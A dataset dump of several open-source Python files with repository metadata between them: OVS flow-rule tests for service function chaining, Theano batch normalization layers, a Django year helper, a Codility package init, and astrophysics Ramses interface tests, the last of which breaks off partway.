[1], self.deleted_groups ) def test_delete_flow_rules_src_node_next_hops_del_fcs(self): self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls', None, None) def test_delete_flow_rules_src_node_next_hops_del_fcs_no_proxy(self): self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls', 'mpls', None) def test_delete_flow_rules_src_node_next_hops_del_fcs_nh(self): self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls', None, 'mpls') def test_delete_flow_rules_src_node_next_hops_del_fcs_no_proxy_nh(self): self._test_delete_flow_rules_src_node_next_hops_del_fcs('mpls', 'mpls', 'mpls') def _prepare_delete_flow_rules_sf_node_next_hops_del_fcs(self, pc_corr, pp_corr, pp_corr_nh): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'port2', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.delete_flow_rule( { 'nsi': 255, 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'next_hops': [{ 'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'local_endpoint': '10.0.0.2', 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'weight': 1, 'in_mac_address': '12:34:56:78:cf:23', 'pp_corr': pp_corr_nh }], 'add_fcs': [], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': 1, 'nsp': 256, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def _test_delete_flow_rules_sf_node_next_hops_del_fcs(self, pp_corr_nh): self._prepare_delete_flow_rules_sf_node_next_hops_del_fcs('mpls', None, pp_corr_nh) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }, { 'dl_dst': '12:34:56:78:cf:23', 'table': 5 }, { 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'mpls_label': 65792, 'table': 10 }], self.deleted_flows ) self.assertEqual( [1], self.deleted_groups ) def test_delete_flow_rules_sf_node_next_hops_del_fcs(self): self._test_delete_flow_rules_sf_node_next_hops_del_fcs(None) def test_delete_flow_rules_sf_node_next_hops_del_fcs_nh(self): self._test_delete_flow_rules_sf_node_next_hops_del_fcs('mpls') def _test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy(self, pp_corr_nh): self._prepare_delete_flow_rules_sf_node_next_hops_del_fcs('mpls', 'mpls', pp_corr_nh) self.assertEqual( [{ 'dl_type': 34887, 'mpls_label': 65791, 'in_port': 42, 'priority': 30, 'table': 0, 'strict': True, }, { 'dl_dst': '12:34:56:78:cf:23', 'table': 5 }, { 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'mpls_label': 65792, 'table': 10 }], self.deleted_flows ) self.assertEqual( [1], self.deleted_groups ) def test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy(self): self._test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy(None) def test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy_nh(self): self._test_delete_flow_rules_sf_node_next_hops_del_fcs_no_proxy('mpls') def test_init_agent_empty_flowrules(self): # in setUp we call _clear_local_entries() so whatever was done # during initialize() is lost ; here, we really want to check the # _clear_sfc_flow_on_int_br done at initialize self.sfc_driver._clear_sfc_flow_on_int_br() self.assertEqual( [{ 'actions': 'resubmit(,10)', 'eth_type': 34887, 'priority': 20, 'table': 0 }, { 'actions': 'drop', 'priority': 0, 'table': 10 }], self.added_flows ) self.assertEqual( ["all"], self.deleted_groups ) self.assertEqual({}, self.group_mapping)

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02427b712269ee7601075423ef6fac0f8cb16334

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py

Python

VQA_Deep/layers/normalization.py

woojaekim/DeepVQA_Release

6635e37821d6e1471fc9728bb6096dfded248241

[ "MIT" ]

41

2019-08-02T11:11:07.000Z

2022-02-15T15:21:14.000Z

VQA_Deep/layers/normalization.py

woojaekim/DeepVQA_Release

6635e37821d6e1471fc9728bb6096dfded248241

[ "MIT" ]

3

2020-03-03T01:19:11.000Z

2021-03-06T15:00:12.000Z

VQA_Deep/layers/normalization.py

woojaekim/DeepVQA_Release

6635e37821d6e1471fc9728bb6096dfded248241

[ "MIT" ]

8

2019-08-02T11:11:12.000Z

2022-02-14T19:23:24.000Z

from __future__ import absolute_import, division, print_function import numpy as np import theano import theano.tensor as T from theano.tensor.nnet import bn from .layers import Layer, linear class BatchNormLayer(Layer): """ Batch normalization layer. (theano.tensor.nnet.bn.batch_normalization_{train, test}) Parameters ---------- input_shape: int or a tuple of ints Input feature dimension or (batch_size, input feature dimension) activation: function Activation function. axes: {``'spatial'``, ``'per-activation'``} epsilon: float alpha: float """ layers = [] def __init__(self, input_shape, activation=linear, axis=1, axes='spatial', epsilon=1e-4, alpha=0.1, name=None): super(BatchNormLayer, self).__init__() self.input_shape = input_shape self.activation = activation self.axis = axis self.axes_org = axes self.epsilon = epsilon self.alpha = alpha self.name = 'BN' if name is None else name self.act_name = activation.__name__ self.deterministic = False shape = [input_shape[self.axis]] ndim = len(input_shape) if axes == 'per-activation': self.axes = (0,) elif axes == 'spatial': self.axes = (0,) + tuple(range(2, ndim)) self.non_bc_axes = tuple(i for i in range(ndim) if i not in self.axes) self.gamma = theano.shared(np.ones(shape, dtype=theano.config.floatX), name=name + '_G', borrow=True) self.beta = theano.shared(np.zeros(shape, dtype=theano.config.floatX), name=name + '_B', borrow=True) self.mean = theano.shared(np.zeros(shape, dtype=theano.config.floatX), name=name + '_mean', borrow=True) self.var = theano.shared(np.ones(shape, dtype=theano.config.floatX), name=name + '_var', borrow=True) self.params = [self.gamma, self.beta] self.statistics = [self.mean, self.var] BatchNormLayer.layers.append(self) # Show information print(' # %s (BN) ' % (self.name), end='') print('act.: %s,' % self.act_name) def get_output(self, input, **kwargs): # prepare dimshuffle pattern inserting broadcastable axes as needed param_axes = iter(list(range(input.ndim - len(self.axes)))) pattern = ['x' if input_axis in self.axes else next(param_axes) for input_axis in range(input.ndim)] # apply dimshuffle pattern to all parameters beta = self.beta.dimshuffle(pattern) gamma = self.gamma.dimshuffle(pattern) mean = self.mean.dimshuffle(pattern) var = self.var.dimshuffle(pattern) if not self.deterministic: normalized, _, _, mean_, var_ = bn.batch_normalization_train( input, gamma, beta, self.axes_org, self.epsilon, self.alpha, mean, var) # Update running mean and variance # Tricks adopted from Lasagne implementation # http://lasagne.readthedocs.io/en/latest/modules/layers/normalization.html running_mean = theano.clone(self.mean, share_inputs=False) running_var = theano.clone(self.var, share_inputs=False) running_mean.default_update = mean_.dimshuffle(self.non_bc_axes) running_var.default_update = var_.dimshuffle(self.non_bc_axes) self.mean += 0 * running_mean self.var += 0 * running_var else: normalized = bn.batch_normalization_test( input, gamma, beta, mean, var, self.axes_org, self.epsilon) # normalized, _, _, _, _ = bn.batch_normalization_train( # input, gamma, beta, self.axes_org, self.epsilon, 0, mean, var) # normalized = (input - mean) * (gamma / T.sqrt(var)) + beta return self.activation(normalized) def get_out_shape(self): return self.input_shape def reset_stats(self): # reset mean and var self.mean.set_value(np.zeros(self.mean.get_value().shape, dtype=theano.config.floatX)) self.var.set_value(np.ones(self.var.get_value().shape, dtype=theano.config.floatX)) def get_stats(self): return (self.mean, self.var) @staticmethod def set_batch_norms_training(training): deterministic = False if training else True print(' - Batch norm layres: deterministic =', deterministic) for layer in BatchNormLayer.layers: layer.deterministic = deterministic layer.update_averages = not deterministic @staticmethod def reset_batch_norms_stats(): print(' - Batch norm layres: reset mean and var') for layer in BatchNormLayer.layers: layer.reset_stats() class BatchNormLayer_old(Layer): """ Batch normalization layer (theano.tensor.nnet.bn.batch_normalization) """ layers = [] def __init__(self, input_shape, activation=linear, epsilon=1e-4, alpha=0.1, name=None): super(BatchNormLayer, self).__init__() if len(input_shape) == 2: self.axes = (0,) shape = [input_shape[0]] elif len(input_shape) == 4: self.axes = (0, 2, 3) shape = [input_shape[1]] else: raise NotImplementedError self.name = 'BN' if name is None else name self.epsilon = epsilon self.alpha = alpha self.deterministic = False self.update_averages = True self.activation = activation self.act_name = activation.__name__ self.input_shape = input_shape self.gamma = theano.shared(np.ones(shape, dtype=theano.config.floatX), name=name + '_G', borrow=True) self.beta = theano.shared(np.zeros(shape, dtype=theano.config.floatX), name=name + '_B', borrow=True) self.mean = theano.shared(np.zeros(shape, dtype=theano.config.floatX), name=name + '_mean', borrow=True) self.std = theano.shared(np.ones(shape, dtype=theano.config.floatX), name=name + '_std', borrow=True) self.params = [self.gamma, self.beta] self.statistics = [self.mean, self.std] BatchNormLayer.layers.append(self) # Show information print(' # %s (BN_T) ' % (self.name), end='') print('act.: %s,' % self.act_name) def get_output(self, input, **kwargs): input_mean = input.mean(self.axes) input_std = T.sqrt(input.var(self.axes) + self.epsilon) # Decide whether to use the stored averages or mini-batch statistics use_averages = self.deterministic if use_averages: mean = self.mean std = self.std else: mean = input_mean std = input_std # Decide whether to update the stored averages update_averages = self.update_averages and not use_averages if update_averages: # Trick: To update the stored statistics, we create memory-aliased # clones of the stored statistics: running_mean = theano.clone(self.mean, share_inputs=False) running_std = theano.clone(self.std, share_inputs=False) # set a default update for them: running_mean.default_update = ((1 - self.alpha) * running_mean + self.alpha * input_mean) running_std.default_update = ((1 - self.alpha) * running_std + self.alpha * input_std) # and make sure they end up in the graph without participating in # the computation (this way their default_update will be collected # and applied, but the computation will be optimized away): mean += 0 * running_mean std += 0 * running_std # prepare dimshuffle pattern inserting broadcastable axes as needed param_axes = iter(list(range(input.ndim - len(self.axes)))) pattern = ['x' if input_axis in self.axes else next(param_axes) for input_axis in range(input.ndim)] # apply dimshuffle pattern to all parameters beta = 0 if self.beta is None else self.beta.dimshuffle(pattern) gamma = 1 if self.gamma is None else self.gamma.dimshuffle(pattern) mean = mean.dimshuffle(pattern) std = std.dimshuffle(pattern) # normalize normalized = bn.batch_normalization(input, gamma, beta, mean, std) return self.activation(normalized) def get_out_shape(self): return self.input_shape def reset_stats(self): # reset mean and std self.mean.set_value(np.zeros(self.mean.get_value().shape, dtype=theano.config.floatX)) self.std.set_value(np.ones(self.std.get_value().shape, dtype=theano.config.floatX)) def get_stats(self): return (self.mean, self.std) @staticmethod def set_batch_norms_training(training): deterministic = False if training else True print(' - Batch norm layres: deterministic =', deterministic) for layer in BatchNormLayer.layers: layer.deterministic = deterministic layer.update_averages = not deterministic @staticmethod def reset_batch_norms_stats(): print(' - Batch norm layres: reset mean and std') for layer in BatchNormLayer.layers: layer.reset_stats() class BatchNormLayer_L(Layer): """ Batch normalization layer. Core algorithm is brought from Lasagne. http://lasagne.readthedocs.io/en/latest/modules/layers/normalization.html """ layers = [] def __init__(self, input_shape, activation=linear, epsilon=1e-4, alpha=0.1, name=None): super(BatchNormLayer, self).__init__() if len(input_shape) == 2: self.axes = (0,) shape = [input_shape[0]] elif len(input_shape) == 4: self.axes = (0, 2, 3) shape = [input_shape[1]] else: raise NotImplementedError self.name = 'BN' if name is None else name self.epsilon = epsilon self.alpha = alpha self.deterministic = False self.update_averages = True self.activation = activation self.act_name = activation.__name__ self.input_shape = input_shape self.gamma = theano.shared(np.ones(shape, dtype=theano.config.floatX), name=name + '_G', borrow=True) self.beta = theano.shared(np.zeros(shape, dtype=theano.config.floatX), name=name + '_B', borrow=True) self.mean = theano.shared(np.zeros(shape, dtype=theano.config.floatX), name=name + '_mean', borrow=True) self.invstd = theano.shared(np.ones(shape, dtype=theano.config.floatX), name=name + '_invstd', borrow=True) self.params = [self.gamma, self.beta] self.statistics = [self.mean, self.invstd] BatchNormLayer.layers.append(self) # Show information print(' # %s (BN_L) ' % (self.name), end='') print('act.: %s,' % self.act_name) def get_output(self, input, **kwargs): input_mean = input.mean(self.axes) input_invstd = T.inv(T.sqrt(input.var(self.axes) + self.epsilon)) # Decide whether to use the stored averages or mini-batch statistics use_averages = self.deterministic if use_averages: mean = self.mean invstd = self.invstd else: mean = input_mean invstd = input_invstd # Decide whether to update the stored averages update_averages = self.update_averages and not use_averages if update_averages: # Trick: To update the stored statistics, we create memory-aliased # clones of the stored statistics: running_mean = theano.clone(self.mean, share_inputs=False) running_invstd = theano.clone(self.invstd, share_inputs=False) # set a default update for them: running_mean.default_update = ( (1 - self.alpha) * running_mean + self.alpha * input_mean) running_invstd.default_update = ( (1 - self.alpha) * running_invstd + self.alpha * input_invstd) # and make sure they end up in the graph without participating in # the computation (this way their default_update will be collected # and applied, but the computation will be optimized away): mean += 0 * running_mean invstd += 0 * running_invstd # prepare dimshuffle pattern inserting broadcastable axes as needed param_axes = iter(list(range(input.ndim - len(self.axes)))) pattern = ['x' if input_axis in self.axes else next(param_axes) for input_axis in range(input.ndim)] # apply dimshuffle pattern to all parameters beta = 0 if self.beta is None else self.beta.dimshuffle(pattern) gamma = 1 if self.gamma is None else self.gamma.dimshuffle(pattern) mean = mean.dimshuffle(pattern) invstd = invstd.dimshuffle(pattern) # normalize normalized = (input - mean) * (gamma * invstd) + beta return self.activation(normalized) def get_out_shape(self): return self.input_shape def reset_stats(self): # reset mean and invstd self.mean.set_value(np.zeros(self.mean.get_value().shape, dtype=theano.config.floatX)) self.invstd.set_value(np.ones(self.invstd.get_value().shape, dtype=theano.config.floatX)) def get_stats(self): return (self.mean, self.invstd) @staticmethod def set_batch_norms_training(training): deterministic = False if training else True print(' - Batch norm layres: deterministic =', deterministic) for layer in BatchNormLayer.layers: layer.deterministic = deterministic layer.update_averages = not deterministic @staticmethod def reset_batch_norms_stats(): print(' - Batch norm layres: reset mean and invstd') for layer in BatchNormLayer.layers: layer.reset_stats()

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14,793

4.976301

0.107514

0.026716

0.033453

0.045998

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0.781392

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0.305077

14,793

374

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false

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0

null

0

1

0

1

0

null

0

7

026dc0fa988e7859b2244a5bda398ef981633f5a

69

py

Python

Solutions/Training/Lesson_12/__init__.py

dev-11/codility-solutions

01b0ce4a43b1390fe15f2daabea95e90b834fbfc

[ "MIT" ]

null

Solutions/Training/Lesson_12/__init__.py

dev-11/codility-solutions

01b0ce4a43b1390fe15f2daabea95e90b834fbfc

[ "MIT" ]

null

Solutions/Training/Lesson_12/__init__.py

dev-11/codility-solutions

01b0ce4a43b1390fe15f2daabea95e90b834fbfc

[ "MIT" ]

null

from .chocolates_by_numbers import solution as chocolates_by_numbers

34.5

68

0.898551

10

69

5.8

0.7

0.413793

0.655172

0

0.086957

69

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69

0.920635

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true

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null

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1

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1

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1

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7

027ba270fdd1eebdc7688fb3091af4e1d0b8b1e7

86

py

Python

common/utils.py

Aleccc/gtcrew

7e6e7024afdbf48ee796cb1f9a86b913e6843dda

[ "MIT" ]

null

common/utils.py

Aleccc/gtcrew

7e6e7024afdbf48ee796cb1f9a86b913e6843dda

[ "MIT" ]

21

2019-02-14T02:47:34.000Z

2022-01-23T02:22:54.000Z

common/utils.py

Aleccc/gtcrew

7e6e7024afdbf48ee796cb1f9a86b913e6843dda

[ "MIT" ]

null

from django.utils.timezone import now def get_current_year(): return now().year

14.333333

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13

86

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null

0

1

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1

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7

027e56ee9c4c943fab34386f1069a2d04924c08e

73,497

py

Python

test/codes_tests/test_ramses.py

joshuawall/amuse

c2034074ee76c08057c4faa96c32044ab40952e9

[ "Apache-2.0" ]

1

2019-12-28T22:47:51.000Z

test/codes_tests/test_ramses.py

joshuawall/amuse

c2034074ee76c08057c4faa96c32044ab40952e9

[ "Apache-2.0" ]

null

test/codes_tests/test_ramses.py

joshuawall/amuse

c2034074ee76c08057c4faa96c32044ab40952e9

[ "Apache-2.0" ]

2

2021-11-19T04:41:37.000Z

2021-11-20T02:11:17.000Z

import os import sys import numpy from amuse.test.amusetest import TestWithMPI from amuse.community.ramses.interface import RamsesInterface from amuse.community.ramses.interface import Ramses from amuse.units import generic_unit_system from amuse.units import generic_unit_converter from amuse.units import units from amuse import datamodel class TestRamsesInterface(TestWithMPI): def test0(self): instance=RamsesInterface(redirection="none") instance.set_input_directory(instance.get_default_input_directory()) instance.initialize_code() instance.commit_parameters() instance.stop() def test1(self): instance=RamsesInterface(mode="1d", redirection="none") instance.set_input_directory(instance.get_default_input_directory()) self.assertEquals(0, instance.initialize_code()) self.assertEquals(0, instance.commit_parameters()) self.assertEquals(0, instance.setup_mesh(10, 1, 1, 1.0, 0.0, 0.0)) self.assertEquals(0, instance.initialize_grid()) nx, ny, nz, error = instance.get_mesh_size() self.assertEquals(0, error) self.assertEqual((nx, ny, nz), (10, 1, 1)) self.assertEquals(0, instance.evolve_model(0.1)) time, error = instance.get_time() self.assertEquals(0, error) self.assertAlmostEqual(time, 0.1, 2) instance.stop() def xtest1b(self): instance=RamsesInterface() instance.initialize_code() instance.setup_mesh(50,40,30,1.,1.,1.) nx,ny,nz, error = instance.get_mesh_size() self.assertEquals(nx, 50) self.assertEquals(ny, 40) self.assertEquals(nz, 30) instance.stop() def xtest2(self): instance=RamsesInterface() instance.initialize_code() instance.setup_mesh(50,50,50,1.,1.,1.) instance.commit_parameters() instance.set_grid_state(1,1,1,1.,0.1,0.1,0.1,1.) rho, err=instance.get_grid_density(1,1,1) self.assertEqual(rho,1.) rhovx,rhovy,rhovz,err=instance.get_grid_momentum_density(1,1,1) self.assertEqual(rhovx,0.1) self.assertEqual(rhovy,0.1) self.assertEqual(rhovz,0.1) en,err=instance.get_grid_energy_density(1,1,1) self.assertEqual(en,1.) rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(1,1,1) self.assertEqual(rho,1.) self.assertEqual(rhovx,0.1) self.assertEqual(rhovy,0.1) self.assertEqual(rhovz,0.1) self.assertEqual(en,1.) instance.stop() def xtest3(self): instance=RamsesInterface() instance.initialize_code() instance.setup_mesh(50,50,50,1.,1.,1.) instance.commit_parameters() x,y,z=numpy.indices( (50,50,50) ) x=x.flatten()+1 y=y.flatten()+1 z=z.flatten()+1 rho=0.25*numpy.ones_like(x) rhvx=0.*numpy.ones_like(x) rhvy=0.*numpy.ones_like(x) rhvz=0.*numpy.ones_like(x) en=2.*numpy.ones_like(x) instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en) rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(1,1,1) self.assertEqual(rho,0.25) self.assertEqual(rhovx,0.) self.assertEqual(rhovy,0.) self.assertEqual(rhovz,0.) self.assertEqual(en,2.) instance.stop() def xtest4(self): instance=RamsesInterface() instance.initialize_code() instance.setup_mesh(50,50,50,1.,1.,1.) instance.commit_parameters() x,y,z=numpy.indices( (50,50,50) ) x=x.flatten()+1 y=y.flatten()+1 z=z.flatten()+1 rho=0.1*numpy.ones_like(x) rhvx=0.*numpy.ones_like(x) rhvy=0.*numpy.ones_like(x) rhvz=0.*numpy.ones_like(x) en=0.1*numpy.ones_like(x) instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en) instance.initialize_grid() instance.stop() def xtest5(self): instance=RamsesInterface() instance.initialize_code() instance.setup_mesh(40,40,40,1.,1.,1.) instance.commit_parameters() x,y,z=numpy.indices( (40,40,40) ) x=x.flatten()+1 y=y.flatten()+1 z=z.flatten()+1 rho=0.1*numpy.ones_like(x) rhvx=0.*numpy.ones_like(x) rhvy=0.*numpy.ones_like(x) rhvz=0.*numpy.ones_like(x) en=0.1*numpy.ones_like(x) instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en) instance.initialize_grid() instance.evolve_model(0.01) tnow,err=instance.get_time() self.assertAlmostEqual(tnow,0.01,15) instance.evolve_model(0.025) tnow,err=instance.get_time() self.assertAlmostEqual(tnow,0.025,15) instance.evolve_model(0.025001) tnow,err=instance.get_time() self.assertAlmostEqual(tnow,0.025001,15) instance.evolve_model(0.0321) tnow,err=instance.get_time() self.assertAlmostEqual(tnow,0.0321,15) instance.evolve_model(0.0321) tnow,err=instance.get_time() self.assertAlmostEqual(tnow,0.0321,15) instance.evolve_model(0.07) tnow,err=instance.get_time() self.assertAlmostEqual(tnow,0.07,15) instance.stop() def xtest6(self): instance=RamsesInterface(number_of_workers=1) instance.initialize_code() instance.setup_mesh(150,10,30,1.,1.,1.) instance.commit_parameters() x,y,z=numpy.indices( (150,10,30) ) x=x.flatten()+1 y=y.flatten()+1 z=z.flatten()+1 rho=0.1*numpy.ones_like(x) rhvx=0.*numpy.ones_like(x) rhvy=0.*numpy.ones_like(x) rhvz=0.*numpy.ones_like(x) en=0.1*numpy.ones_like(x) instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en) instance.initialize_grid() instance.evolve_model(0.01) x,y,z,err=instance.get_position_of_index(15,5,20) self.assertAlmostEqual(x,15/150.-1/300.,15) self.assertAlmostEqual(y,5/10.-1/20.,15) self.assertAlmostEqual(z,20/30.-1/60.,15) i,j,k,err=instance.get_index_of_position(x,y,z) self.assertEqual([i,j,k],[15,5,20]) instance.stop() def xtest7(self): instance=RamsesInterface() instance.initialize_code() instance.setup_mesh(50,50,50,1.,1.,1.) instance.commit_parameters() err=instance.set_gravity_field(1,2,3,1.,0.5,0.25) self.assertEqual(err,0) fx,fy,fz,err=instance.get_gravity_field(1,2,3) self.assertEqual(fx,1.) self.assertEqual(fy,0.5) self.assertEqual(fz,0.25) instance.stop() def xtest8(self): instance=RamsesInterface() instance.initialize_code() err=instance.set_boundary("periodic","reflective", "periodic","reflective", "periodic","reflective") self.assertEqual(err,-1) instance.stop() instance=RamsesInterface() instance.initialize_code() err=instance.set_boundary("reflective","periodic", "periodic","reflective", "periodic","reflective") self.assertEqual(err,-2) instance.stop() instance=RamsesInterface() instance.initialize_code() err=instance.set_boundary("periodic","periodic", "periodic","periodic", "periodic","periodic") self.assertEqual(err,0) instance.stop() def xtest9(self): instance=RamsesInterface(number_of_workers=2) instance.initialize_code() instance.setup_mesh(50,50,50,1.,1.,1.) instance.commit_parameters() instance.set_grid_state(1,1,1,1.,0.1,0.1,0.1,1.) instance.set_grid_state(50,50,50,2.,0.2,0.2,0.2,2.) rho, err=instance.get_grid_density(1,1,1) self.assertEqual(rho,1.) rhovx,rhovy,rhovz,err=instance.get_grid_momentum_density(1,1,1) self.assertEqual(rhovx,0.1) self.assertEqual(rhovy,0.1) self.assertEqual(rhovz,0.1) en,err=instance.get_grid_energy_density(1,1,1) self.assertEqual(en,1.) rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(1,1,1) self.assertEqual(rho,1.) self.assertEqual(rhovx,0.1) self.assertEqual(rhovy,0.1) self.assertEqual(rhovz,0.1) self.assertEqual(en,1.) rho, err=instance.get_grid_density(50,50,50) self.assertEqual(err,0) self.assertEqual(rho,2.) rhovx,rhovy,rhovz,err=instance.get_grid_momentum_density(50,50,50) self.assertEqual(rhovx,0.2) self.assertEqual(rhovy,0.2) self.assertEqual(rhovz,0.2) en,err=instance.get_grid_energy_density(50,50,50) self.assertEqual(en,2.) rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(50,50,50) self.assertEqual(rho,2.) self.assertEqual(rhovx,0.2) self.assertEqual(rhovy,0.2) self.assertEqual(rhovz,0.2) self.assertEqual(en,2.) instance.stop() def xtest10(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(100,5,5,100.0,0,0) instance.set_boundary("interface","periodic","periodic","periodic","periodic","periodic") instance.commit_parameters() minx, maxx, miny, maxy, minz, maxz, error = instance.get_boundary_index_range_inclusive(1) self.assertEquals(error, 0) self.assertEquals(minx, 1) self.assertEquals(maxx, 2) self.assertEquals(miny, 1) self.assertEquals(maxy, 5) self.assertEquals(minz, 1) self.assertEquals(maxz, 5) for i in range(2,7): minx, maxx, miny, maxy, minz, maxz, error = instance.get_boundary_index_range_inclusive(i) self.assertEquals(error, 0) self.assertEquals(minx, 1) self.assertEquals(maxx, 1) self.assertEquals(miny, 1) self.assertEquals(maxy, 1) self.assertEquals(minz, 1) self.assertEquals(maxz, 1) def xtest11(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(100,5,6,100.0,0,0) instance.set_boundary("interface","interface","interface","interface","interface","interface") instance.commit_parameters() for i in range(1,7): minx, maxx, miny, maxy, minz, maxz, error = instance.get_boundary_index_range_inclusive(i) self.assertEquals(error, 0), self.assertEquals(minx, 1) self.assertEquals(miny, 1) self.assertEquals(minz, 1) if i == 1 or i == 2: self.assertEquals(maxx, 2) self.assertEquals(maxy, 5) self.assertEquals(maxz, 6) elif i == 3 or i == 4: self.assertEquals(maxx, 100+4) self.assertEquals(maxy, 2) self.assertEquals(maxz, 6) elif i == 5 or i == 6: self.assertEquals(maxx, 100+4) self.assertEquals(maxy, 5+4) self.assertEquals(maxz, 2) def xtest12(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(100,2,2,100.0,100.0,100.0) instance.set_boundary("interface","periodic","periodic","periodic","periodic","periodic") instance.commit_parameters() for i in [1,2]: error = instance.set_boundary_state( i,1,1, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy 1 # boundary ) self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i, 1, 1, 1 ) print rho, rhovx, rhovy, rhovz, rhoen, error self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest13(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(100,2,2,100.0,0,0) instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic") instance.commit_parameters() for i in [1,2]: for j in [1,2]: error = instance.set_boundary_state( i,1,1, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy j # boundary ) self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i, 1,1, j ) print j self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest14(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(5,6,7,100.0,100.0,100.0) instance.set_boundary("interface","interface","interface","interface","interface","interface") instance.commit_parameters() x1range = (2,6,7) x2range = (5+4,2,7) x3range = (5+4,6+4,2) for xrange, j in zip([x1range, x1range, x2range, x2range, x3range, x3range], [1,2,3,4,5,6]): for i0 in range(xrange[0]): for j0 in range(xrange[1]): for k0 in range(xrange[2]): i = (i0 * (xrange[2] * xrange[1])) + (j0 * xrange[2]) + k0 print "boundary:", j, i0+1, j0+1, k0+1 error = instance.set_boundary_state( i0+1, j0+1, k0+1, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy j ) self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i0+1, j0+1, k0+1, # index j ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest15(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(100,5,4,100.0,100.0, 100.0) instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic") instance.commit_parameters() dx = 100.0 / 100.0 dy = 100.0 / 5.0 dz = 100.0 / 4.0 for i in [1,2]: x,y,z,error = instance.get_boundary_position_of_index( i, 1, 1, 1 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, (0.5 * dx) - (i * dx)) self.assertAlmostRelativeEquals(y, (0.5 * dy)) self.assertAlmostRelativeEquals(z, (0.5 * dz)) def xtest16(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(100,5,4,100.0,100.0, 100.0) instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic") instance.commit_parameters() dx = 100.0 / 100.0 dy = 100.0 / 5.0 dz = 100.0 / 4.0 for i in [1,2]: x,y,z,error = instance.get_boundary_position_of_index( i,1,1, 2 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, 100.0 + (0.5 * dx) + ((i-1) * dx)) self.assertAlmostRelativeEquals(y, (0.5 * dy)) self.assertAlmostRelativeEquals(z, (0.5 * dz)) def xtest17(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(100,5,4,100.0,100.0, 